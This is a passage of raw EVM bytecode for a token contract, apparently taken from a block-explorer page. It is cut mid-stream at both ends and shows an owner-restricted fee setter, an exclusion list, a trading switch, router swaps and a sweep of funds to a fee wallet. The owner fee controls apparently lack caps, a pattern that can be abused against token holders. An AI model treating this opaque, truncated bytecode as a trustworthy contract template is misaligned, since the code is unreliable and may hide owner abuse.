fffffffffff1681565b60195481565b3373ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbb90613445565b60405180910390fd5b5f5f90505b8251811015610d4d578160095f858481518110610ce957610ce8613463565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610cc9565b505050565b3373ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd790613445565b60405180910390fd5b8060178190555050565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9490613445565b60405180910390fd5b5f60195414610eac575f610eae565b435b601981905550565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8190613445565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3373ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461111f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111690613445565b60405180910390fd5b8060188190555050565b60606007805461113890613303565b80601f016020809104026020016040519081016040528092919081815260200182805461116490613303565b80156111af5780601f10611186576101008083540402835291602001916111af565b820191905f5260205f20905b81548152906001019060200180831161119257829003601f168201915b5050505050905090565b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611366578073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016112639190612e22565b602060405180830381865afa15801561127e573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112a291906134a4565b6040518363ffffffff1660e01b81526004016112bf9291906134ef565b6020604051808303815f875af11580156112db573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112ff919061352a565b5060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611364573d5f5f3e3d5ffd5b505b50565b5f611375338484611b9f565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461140d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140490613445565b60405180910390fd5b5f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611478573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061149c9190613569565b90508073ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165f196040518363ffffffff1660e01b81526004016114fb929190613594565b6020604051808303815f875af1158015611517573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061153b919061352a565b508073ffffffffffffffffffffffffffffffffffffffff166323b872dd86308473ffffffffffffffffffffffffffffffffffffffff166370a082318a6040518263ffffffff1660e01b81526004016115939190612e22565b602060405180830381865afa1580156115ae573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115d291906134a4565b6040518463ffffffff1660e01b81526004016115f0939291906135bb565b6020604051808303815f875af115801561160c573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611630919061352a565b505f5f90505b8484905081101561167f576116728386868481811061165857611657613463565b5b905060200201602081019061166d9190612e3b565b612030565b8080600101915050611636565b50436019819055505f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016116c19190612e22565b602060405180830381865afa1580156116dc573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061170091906134a4565b90505f811115611787578173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb87836040518363ffffffff1660e01b8152600401611745929190613594565b6020604051808303815f875af1158015611761573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611785919061352a565b505b505050505050565b3373ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461181d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181490613445565b60405180910390fd5b60165f9054906101000a900460ff161560165f6101000a81548160ff021916908315150217905550565b60165f9054906101000a900460ff1681565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611969576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196090613445565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036119d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ce9061363a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611b929190612d76565b60405180910390a3505050565b5f611ba984610eb6565b905081811015611bee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be5906136a2565b60405180910390fd5b600d5f9054906101000a900460ff1615611c1457611c0d8484846124ba565b505061202b565b5f600c5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611c775750600d5f9054906101000a900460ff16155b8015611cca575060095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611d1d575060095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611d2c5750601554600e54115b15611d9c575f839050611d3e30610eb6565b811115611d865760015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505b601754811115611d9a57611d99816125d1565b5b505b60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611e3a575060095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611e525750600d5f9054906101000a900460ff16155b1561201c575f60195411611e64575f5ffd5b60019050600c5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611f0b5750600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611f5e575060095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611fde57600e5f815480929190611f75906136c0565b91905055505f6018541115611fdd5760185483611f9186610eb6565b611f9b9190613707565b1115611fdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd390613784565b60405180910390fd5b5b5b60165f9054906101000a900460ff168015611ff857508183145b1561201b576305f5e1008361200d91906137cf565b836120189190613360565b92505b5b6120288585858461282f565b50505b505050565b6001600d5f6101000a81548160ff0219169083151502179055505f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156120b5573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906120d99190613569565b90505f600267ffffffffffffffff8111156120f7576120f6612f47565b5b6040519080825280602002602001820160405280156121255781602001602082028036833780820191505090505b50905081815f8151811061213c5761213b613463565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050308160018151811061218b5761218a613463565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f600267ffffffffffffffff8111156121e1576121e0612f47565b5b60405190808252806020026020018201604052801561220f5781602001602082028036833780820191505090505b50905030815f8151811061222657612225613463565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050828160018151811061227557612274613463565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f8373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016122e99190612e22565b602060405180830381865afa158015612304573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061232891906134a4565b90505f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f88856040518363ffffffff1660e01b81526004016123879291906138b6565b5f60405180830381865afa1580156123a1573d5f5f3e3d5ffd5b505050506040513d5f823e3d601f19601f820116820180604052508101906123c991906139a4565b6001815181106123dc576123db613463565b5b602002602001015190508181116123f357806123f5565b815b90505f810361240857505050505061249d565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c11d795825f878a426040518663ffffffff1660e01b815260040161246a959493929190613a24565b5f604051808303815f87803b158015612481575f5ffd5b505af1158015612493573d5f5f3e3d5ffd5b5050505050505050505b5f600d5f6101000a81548160ff0219169083151502179055505050565b5f8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546125079190613360565b925050819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461255a9190613707565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516125be9190612d76565b60405180910390a3600190509392505050565b6001600d5f6101000a81548160ff0219169083151502179055505f600267ffffffffffffffff81111561260757612606612f47565b5b6040519080825280602002602001820160405280156126355781602001602082028036833780820191505090505b50905030815f8151811061264c5761264b613463565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156126f0573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906127149190613569565b8160018151811061272857612727613463565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8460055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016127e5959493929190613a7c565b5f604051808303815f87803b1580156127fc575f5ffd5b505af115801561280e573d5f5f3e3d5ffd5b50505050505f600d5f6101000a81548160ff02191690831515021790555050565b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546128789190613360565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f8115612abc575f600c5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561292e57601454600e541161292357601054612927565b6012545b9050612998565b600c5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561299757601354600e541161299057600f54612994565b6011545b90505b5b5f606482866129a79190613ad4565b6129b191906137cf565b90505f811115612ab95780836129c79190613707565b92508060015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612a129190613707565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ab09190612d76565b60405180910390a35b50505b8083612ac89190613360565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612b109190613707565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386612bac9190613360565b604051612bb99190612d76565b60405180910390a35050505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f612c0a82612bc8565b612c148185612bd2565b9350612c24818560208601612be2565b612c2d81612bf0565b840191505092915050565b5f6020820190508181035f830152612c508184612c00565b905092915050565b5f604051905090565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612c9282612c69565b9050919050565b612ca281612c88565b8114612cac575f5ffd5b50565b5f81359050612cbd81612c99565b92915050565b5f819050919050565b612cd581612cc3565b8114612cdf575f5ffd5b50565b5f81359050612cf081612ccc565b92915050565b5f5f60408385031215612d0c57612d0b612c61565b5b5f612d1985828601612caf565b9250506020612d2a85828601612ce2565b9150509250929050565b5f8115159050919050565b612d4881612d34565b82525050565b5f602082019050612d615f830184612d3f565b92915050565b612d7081612cc3565b82525050565b5f602082019050612d895f830184612d67565b92915050565b5f5f5f60608486031215612da657612da5612c61565b5b5f612db386828701612caf565b9350506020612dc486828701612caf565b9250506040612dd586828701612ce2565b9150509250925092565b5f60ff82169050919050565b612df481612ddf565b82525050565b5f602082019050612e0d5f830184612deb565b92915050565b612e1c81612c88565b82525050565b5f602082019050612e355f830184612e13565b92915050565b5f60208284031215612e5057612e4f612c61565b5b5f612e5d84828501612caf565b91505092915050565b5f612e7082612c69565b9050919050565b612e8081612e66565b8114612e8a575f5ffd5b50565b5f81359050612e9b81612e77565b92915050565b5f60208284031215612eb657612eb5612c61565b5b5f612ec384828501612e8d565b91505092915050565b5f5f5f5f5f60a08688031215612ee557612ee4612c61565b5b5f612ef288828901612ce2565b9550506020612f0388828901612ce2565b9450506040612f1488828901612ce2565b9350506060612f2588828901612ce2565b9250506080612f3688828901612ce2565b9150509295509295909350565b5f5ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612f7d82612bf0565b810181811067ffffffffffffffff82111715612f9c57612f9b612f47565b5b80604052505050565b5f612fae612c58565b9050612fba8282612f74565b919050565b5f67ffffffffffffffff821115612fd957612fd8612f47565b5b602082029050602081019050919050565b5f5ffd5b5f613000612ffb84612fbf565b612fa5565b9050808382526020820190506020840283018581111561302357613022612fea565b5b835b8181101561304c57806130388882612caf565b845260208401935050602081019050613025565b5050509392505050565b5f82601f83011261306a57613069612f43565b5b813561307a848260208601612fee565b91505092915050565b61308c81612d34565b8114613096575f5ffd5b50565b5f813590506130a781613083565b92915050565b5f5f604083850312156130c3576130c2612c61565b5b5f83013567ffffffffffffffff8111156130e0576130df612c65565b5b6130ec85828601613056565b92505060206130fd85828601613099565b9150509250929050565b5f6020828403121561311c5761311b612c61565b5b5f61312984828501612ce2565b91505092915050565b5f819050919050565b5f61315561315061314b84612c69565b613132565b612c69565b9050919050565b5f6131668261313b565b9050919050565b5f6131778261315c565b9050919050565b6131878161316d565b82525050565b5f6020820190506131a05f83018461317e565b92915050565b6131af81612e66565b82525050565b5f6020820190506131c85f8301846131a6565b92915050565b5f5ffd5b5f5f83601f8401126131e7576131e6612f43565b5b8235905067ffffffffffffffff811115613204576132036131ce565b5b6020830191508360208202830111156132205761321f612fea565b5b9250929050565b5f5f5f5f6060858703121561323f5761323e612c61565b5b5f61324c87828801612caf565b945050602085013567ffffffffffffffff81111561326d5761326c612c65565b5b613279878288016131d2565b9350935050604061328c87828801612ce2565b91505092959194509250565b5f5f604083850312156132ae576132ad612c61565b5b5f6132bb85828601612caf565b92505060206132cc85828601612caf565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061331a57607f821691505b60208210810361332d5761332c6132d6565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61336a82612cc3565b915061337583612cc3565b925082820390508181111561338d5761338c613333565b5b92915050565b7f2146756e646572000000000000000000000000000000000000000000000000005f82015250565b5f6133c7600783612bd2565b91506133d282613393565b602082019050919050565b5f6020820190508181035f8301526133f4816133bb565b9050919050565b7f796f7520617265206e6f74206f776e65720000000000000000000000000000005f82015250565b5f61342f601183612bd2565b915061343a826133fb565b602082019050919050565b5f6020820190508181035f83015261345c81613423565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f8151905061349e81612ccc565b92915050565b5f602082840312156134b9576134b8612c61565b5b5f6134c684828501613490565b91505092915050565b5f6134d98261315c565b9050919050565b6134e9816134cf565b82525050565b5f6040820190506135025f8301856134e0565b61350f6020830184612d67565b9392505050565b5f8151905061352481613083565b92915050565b5f6020828403121561353f5761353e612c61565b5b5f61354c84828501613516565b91505092915050565b5f8151905061356381612c99565b92915050565b5f6020828403121561357e5761357d612c61565b5b5f61358b84828501613555565b91505092915050565b5f6040820190506135a75f830185612e13565b6135b46020830184612d67565b9392505050565b5f6060820190506135ce5f830186612e13565b6135db6020830185612e13565b6135e86040830184612d67565b949350505050565b7f6e657720697320300000000000000000000000000000000000000000000000005f82015250565b5f613624600883612bd2565b915061362f826135f0565b602082019050919050565b5f6020820190508181035f83015261365181613618565b9050919050565b7f62616c616e63654e6f74456e6f756768000000000000000000000000000000005f82015250565b5f61368c601083612bd2565b915061369782613658565b602082019050919050565b5f6020820190508181035f8301526136b981613680565b9050919050565b5f6136ca82612cc3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036136fc576136fb613333565b5b600182019050919050565b5f61371182612cc3565b915061371c83612cc3565b925082820190508082111561373457613733613333565b5b92915050565b7f77616c6c65746c696d69740000000000000000000000000000000000000000005f82015250565b5f61376e600b83612bd2565b91506137798261373a565b602082019050919050565b5f6020820190508181035f83015261379b81613762565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6137d982612cc3565b91506137e483612cc3565b9250826137f4576137f36137a2565b5b828204905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61383181612c88565b82525050565b5f6138428383613828565b60208301905092915050565b5f602082019050919050565b5f613864826137ff565b61386e8185613809565b935061387983613819565b805f5b838110156138a95781516138908882613837565b975061389b8361384e565b92505060018101905061387c565b5085935050505092915050565b5f6040820190506138c95f830185612d67565b81810360208301526138db818461385a565b90509392505050565b5f67ffffffffffffffff8211156138fe576138fd612f47565b5b602082029050602081019050919050565b5f61392161391c846138e4565b612fa5565b9050808382526020820190506020840283018581111561394457613943612fea565b5b835b8181101561396d57806139598882613490565b845260208401935050602081019050613946565b5050509392505050565b5f82601f83011261398b5761398a612f43565b5b815161399b84826020860161390f565b91505092915050565b5f602082840312156139b9576139b8612c61565b5b5f82015167ffffffffffffffff8111156139d6576139d5612c65565b5b6139e284828501613977565b91505092915050565b5f819050919050565b5f613a0e613a09613a04846139eb565b613132565b612cc3565b9050919050565b613a1e816139f4565b82525050565b5f60a082019050613a375f830188612d67565b613a446020830187613a15565b8181036040830152613a56818661385a565b9050613a656060830185612e13565b613a726080830184612d67565b9695505050505050565b5f60a082019050613a8f5f830188612d67565b613a9c6020830187613a15565b8181036040830152613aae818661385a565b9050613abd60608301856134e0565b613aca6080830184612d67565b9695505050505050565b5f613ade82612cc3565b9150613ae983612cc3565b9250828202613af781612cc3565b91508282048414831517613b0e57613b0d613333565b5b509291505056fea2646970667358221220100912692cf6948bf34eade8916271d3d98ac82861c9f64a8ba8ed651960671c64736f6c634300081b0033
Deployed Bytecode
0x6080604052600436106101e6575f3560e01c806365b61b7711610101578063a67755c211610094578063cefab2af11610063578063cefab2af146106ab578063dd62ed3e146106d5578063f2fde38b14610711578063f887ea4014610739576101ed565b8063a67755c214610609578063a9059cbb14610631578063bc2b8fb71461066d578063bc76c05214610695576101ed565b80637cc5b1e6116100d05780637cc5b1e6146105635780638da5cb5b1461058d5780638ff4013f146105b757806395d89b41146105df576101ed565b806365b61b77146104d15780636c580801146104fb57806370a0823114610511578063715018a61461054d576101ed565b806336b2e027116101795780634bf28fd0116101485780634bf28fd01461042d578063553193ca1461045757806358e56b63146104815780636402511e146104a9576101ed565b806336b2e027146103655780633e0cdeb1146103a15780633ecad271146103c95780633f80b6d714610405576101ed565b806323b872dd116101b557806323b872dd146102ab57806327b1a8e9146102e7578063313ce567146103115780633455a9db1461033b576101ed565b806306fdde03146101f1578063095ea7b31461021b57806318160ddd146102575780631b58374914610281576101ed565b366101ed57005b5f5ffd5b3480156101fc575f5ffd5b50610205610763565b6040516102129190612c38565b60405180910390f35b348015610226575f5ffd5b50610241600480360381019061023c9190612cf6565b6107f3565b60405161024e9190612d4e565b60405180910390f35b348015610262575f5ffd5b5061026b610809565b6040516102789190612d76565b60405180910390f35b34801561028c575f5ffd5b50610295610812565b6040516102a29190612d76565b60405180910390f35b3480156102b6575f5ffd5b506102d160048036038101906102cc9190612d8f565b610818565b6040516102de9190612d4e565b60405180910390f35b3480156102f2575f5ffd5b506102fb6109b0565b6040516103089190612d76565b60405180910390f35b34801561031c575f5ffd5b506103256109b6565b6040516103329190612dfa565b60405180910390f35b348015610346575f5ffd5b5061034f6109cb565b60405161035c9190612e22565b60405180910390f35b348015610370575f5ffd5b5061038b60048036038101906103869190612e3b565b6109f0565b6040516103989190612d4e565b60405180910390f35b3480156103ac575f5ffd5b506103c760048036038101906103c29190612ea1565b610a0d565b005b3480156103d4575f5ffd5b506103ef60048036038101906103ea9190612e3b565b610b35565b6040516103fc9190612d4e565b60405180910390f35b348015610410575f5ffd5b5061042b60048036038101906104269190612ecc565b610b52565b005b348015610438575f5ffd5b50610441610c0a565b60405161044e9190612e22565b60405180910390f35b348015610462575f5ffd5b5061046b610c30565b6040516104789190612d76565b60405180910390f35b34801561048c575f5ffd5b506104a760048036038101906104a291906130ad565b610c36565b005b3480156104b4575f5ffd5b506104cf60048036038101906104ca9190613107565b610d52565b005b3480156104dc575f5ffd5b506104e5610dea565b6040516104f2919061318d565b60405180910390f35b348015610506575f5ffd5b5061050f610e0f565b005b34801561051c575f5ffd5b5061053760048036038101906105329190612e3b565b610eb6565b6040516105449190612d76565b60405180910390f35b348015610558575f5ffd5b50610561610efc565b005b34801561056e575f5ffd5b50610577611045565b60405161058491906131b5565b60405180910390f35b348015610598575f5ffd5b506105a161106a565b6040516105ae9190612e22565b60405180910390f35b3480156105c2575f5ffd5b506105dd60048036038101906105d89190613107565b611091565b005b3480156105ea575f5ffd5b506105f3611129565b6040516106009190612c38565b60405180910390f35b348015610614575f5ffd5b5061062f600480360381019061062a9190612e3b565b6111b9565b005b34801561063c575f5ffd5b5061065760048036038101906106529190612cf6565b611369565b6040516106649190612d4e565b60405180910390f35b348015610678575f5ffd5b50610693600480360381019061068e9190613227565b61137f565b005b3480156106a0575f5ffd5b506106a961178f565b005b3480156106b6575f5ffd5b506106bf611847565b6040516106cc9190612d4e565b60405180910390f35b3480156106e0575f5ffd5b506106fb60048036038101906106f69190613298565b611859565b6040516107089190612d76565b60405180910390f35b34801561071c575f5ffd5b5061073760048036038101906107329190612e3b565b6118db565b005b348015610744575f5ffd5b5061074d611a93565b60405161075a9190612e22565b60405180910390f35b60606006805461077290613303565b80601f016020809104026020016040519081016040528092919081815260200182805461079e90613303565b80156107e95780601f106107c0576101008083540402835291602001916107e9565b820191905f5260205f20905b8154815290600101906020018083116107cc57829003601f168201915b5050505050905090565b5f6107ff338484611ab8565b6001905092915050565b5f600a54905090565b60185481565b5f610824848484611b9f565b5f1960025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054146109a5578160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109289190613360565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b600190509392505050565b600e5481565b5f60085f9054906101000a900460ff16905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6009602052805f5260405f205f915054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610ab357503373ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610af2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae9906133dd565b60405180910390fd5b8060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600c602052805f5260405f205f915054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd790613445565b60405180910390fd5b84601181905550836012819055508260138190555081601481905550806015819055505050505050565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60195481565b3373ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbb90613445565b60405180910390fd5b5f5f90505b8251811015610d4d578160095f858481518110610ce957610ce8613463565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610cc9565b505050565b3373ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd790613445565b60405180910390fd5b8060178190555050565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9490613445565b60405180910390fd5b5f60195414610eac575f610eae565b435b60198190555